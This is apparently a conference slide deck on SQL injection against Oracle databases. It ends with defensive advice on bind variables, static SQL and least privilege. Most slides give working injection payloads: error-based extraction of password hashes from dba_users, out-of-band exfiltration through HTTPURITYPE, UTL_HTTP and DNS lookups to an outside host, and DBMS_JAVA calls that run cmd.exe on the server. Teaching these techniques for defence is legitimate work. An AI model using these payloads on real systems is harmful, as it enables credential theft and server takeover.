

SQL Injection in web applications

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About Me



- Co-Founder & CTO of Sentrigo (now McAfee Database Security)
- Specialties: Databases, security, and programming
- <http://www.slaviks-blog.com>

Thanks To



- Alexander Kornbrust – Red Database Security
- David Litchfield
- Sumit Siddharth - 7Safe

Agenda



- What is SQL Injection
- Unique Oracle “features”
- In-band Injection
 - Advanced Data Retrieval
- Out-of-band Injection
- Blind Injection
- Advanced techniques
 - Infection
 - Privilege elevation
 - Escape the DB to OS
- Protection against SQL Injection





A technique that exploits a security vulnerability occurring in the database layer of an application.

The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed.

Oracle Unique “Features” - I



- Makes hacker’s life harder
 - No stacked queries
 - Unless you get lucky and inject into a PL/SQL block

```
select * from AdventureWorks.HumanResources.Employee where  
EmployeeID = 1; EXEC master.dbo.xp_sendmail  
@recipients=N'slavik@sentrigo.com',  
@query = N'select user, password from sys.syslogins  
where password is not null'
```

Oracle Unique “Features” - II



- Makes hacker's life harder
 - Native error messages are hard to control

```
select * from users where username = "  
having 1=1 -- and password = "
```

Msg 8120, Level 16, State 1, Line 1

**Column 'users.username' is invalid in the
select list because it is not contained in
either an aggregate function or the GROUP BY
Clause.**

- Makes hacker’s life harder
 - No easy way to escape DB to OS (no xp_cmdshell)
 - No easy way to do time-based blind SQL Injection (more later)
 - Very limited in what you can do from an injection point
 - Little documentation and few tools for automatic attacks
- On the other hand
 - Large attack surface
 - Many vulnerabilities

Select * from employees where dept_id = 1 union
select “something interesting that has the same number
of columns”

- Finding the number of columns by
 - Adding nulls
 - Adding order by #

- Demo

Id	dept	Loc	Inv	Qty	Cost
1001	1	US	255	144	6.21
1002	1	US	644	100	15.21

Name	Acct	State	pass	hint	date
Smith	9234	CA	secret	asdf	3/1/2011
Jones	8836	MA	123456	qwe	5/5/2010
Doe	1521	NY	iloveu	lkd	9/7/2009

In-band SQL Injection – Errors I



```
SQL> select utl_inaddr.get_host_name('127.0.0.1') from  
dual;
```

```
localhost
```

```
SQL> select utl_inaddr.get_host_name((select  
username||'='||password  
from dba_users where rownum=1)) from dual;  
select utl_inaddr.get_host_name((select  
username||'='||password from dba_users where rownum=1))  
from dual
```

```
*
```

```
ERROR at line 1:
```

```
ORA-29257: host SYS=8A8F025737A9097A unknown
```

```
ORA-06512: at "SYS.UTL_INADDR", line 4
```

```
ORA-06512: at "SYS.UTL_INADDR", line 35
```

```
ORA-06512: at line 1
```

- `utl_inaddr.get_host_name` is blocked by default on newer databases
- Many other options
 - `dbms_aw_xml.readawmetadata`
 - `ordsys.ord_dicom.getmappingxpath`
 - `ctxsys.drithsx.sn`
- Demo

- Combining multiple rows into one result

```
' or dbms_aw_xml.readawmetadata((SELECT SUBSTR
(SYS_CONNECT_BY_PATH (username, ';'), 2) csv FROM (SELECT
username , ROW_NUMBER() OVER (ORDER BY username ) rn,
COUNT(*) OVER () cnt FROM all_users) WHERE rn = cnt START
WITH rn = 1 CONNECT BY rn = PRIOR rn + 1), null) is null -

' or dbms_aw_xml.readawmetadata((select xmltransform
(sys_xmllagg(sys_xmlgen(username)),xmltype('<?xml
version="1.0"?><xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/
Transform"><xsl:template match="/"><xsl:for-each select="/
ROWSET/USERNAME"><xsl:value-of select="text()" />;</
xsl:foreach></xsl:template></
xsl:stylesheet>'))).getstringval() listagg from all_users),
null) is null --
```

Out-of-band SQL Injection



- Send information via HTTP to an external site via HTTPURI

```
select HTTPURITYPE('http://www.sentrigo.com/' ||  
(select password from dba_users where  
rownum=1)).getclob() from dual;
```

- Send information via HTTP to an external site via utl_http

```
select UTL_HTTP.REQUEST ('http://www.sentrigo.com/' ||  
(select password from dba_users where rownum=1)) from  
dual;
```

- Send information via DNS (max. 64 bytes) to an external site

```
select SYS.DBMS_LDAP.INIT((select  
user from dual) || '.sentrigo.com',80) from dual;
```

```
DNS-Request: www.8A8F025737A9097A.sentrigo.com
```

- A guessing game
- Binary results – guess either true or false
- Requires many more queries
 - Time consuming and resource consuming
 - Can benefit from parallelizing
 - Must be automated
- Either use decode or case statements
- Customary used with short or long queries since `dbms_lock.sleep` is not a function
 - Can be used with functions that receive a timeout like `dbms_pipe.receive_message`

- Use of privileged user by the application
 - Or injection is in privileged stored program
- DML/DDDL/DCL is possible
 - Auxiliary functions
 - `SYS.KUPP$PROC.CREATE_MASTER_PROCESS`
 - `DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC`
(Fixed in July 09 CPU)
- Injection is in an unprivileged user
 - Many vulnerabilities exist
 - Example - Java

- Using Java

```
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper c:\  
  \windows\system32\cmd.exe /c dir>C:\\OUT.LST') FROM DUAL is  
  not null --
```

```
SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper',  
  'main', 'c:\\windows\system32\cmd.exe', '/c', 'dir>c:\\OUT2.LST') FROM  
  DUAL is not null --
```

- Using DBMS_SCHEDULER

It's Not science fiction



EXPLOIT DATABASE

Currently Archiving **15011** Exploits
Updated (CVE And Archive): **Sun Sep 4 2011**

blog exploit F

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Date	D	A	V	Description	Plat.	Author
2011-08-19	↓	-	✓	Oracle Secure Backup Authentication Bypass/Command Injection Vulnerability	899 php	metasploit
2011-08-05	↓	-	✓	Sun/Oracle GlassFish Server Authenticated Code Execution	883 jsp	metasploit
2011-07-20	↓	-	⊙	Oracle Sun GlassFish Enterprise Server Stored XSS Vulnerability	1086 jsp	Sense of Security
2011-07-15	↓	-	✓	Java RMI Server Insecure Default Configuration Java Code Execution	1867 multiple	metasploit
2011-06-13	↓	-	✓	Oracle HTTP Server XSS Header Injection	2532 multiple	Yasser ABOUKIR
2011-05-12	↓	-	✓	Oracle GlassFish Server Administration Console Authentication Bypass	911 windows	Core Security
2011-03-16	↓	-	✓	Sun Java Applet2ClassLoader Remote Code Execution Exploit	1140 multiple	metasploit
2011-03-11	↓	-	⊙	Oracle WebLogic Session Fixation Via HTTP POST	742 multiple	Roberto Suggi Liv.
2011-03-08	↓	-	✓	Oracle MySQL for Microsoft Windows Payload Execution	1241 windows	metasploit
2010-10-25	↓	-	✓	Oracle VM Server Virtual Server Agent Command Injection	272 linux	metasploit
2010-09-20	↓	-	✓	Oracle 9i XDB HTTP PASS Overflow (win32)	326 win32	metasploit
2010-07-07	↓	-	✓	Apache Win32 Chunked Encoding	932 windows	metasploit

- Use **static SQL** – 99% of web applications should never use dynamic statements
- Use **bind** variables – where possible
- Always **validate** user/database input for dynamic statements (dbms_assert)
- Be extra careful with dynamic statements - get 3 people who do not like you to **review and approve** your code
- Use **programmatic frameworks** that encourage (almost force) bind variables
- Database schema for your application should have **minimal privileges**
- Never return **DB errors** to the end-user

Resources



- My Blog
www.slaviks-blog.com
- McAfee Youtube
www.youtube.com/mcafeeofficial
- McAfee Labs Blog
www.avertlabs.com/research/blog/
- McAfee Risk & Compliance Blog
Security Insights Blog
siblog.mcafee.com/?cat=46
- McAfee Labs Podcast
podcasts.mcafee.com/audioparasitics/
- McAfee DB Security products
<http://www.mcafee.com/us/products/database-security/>



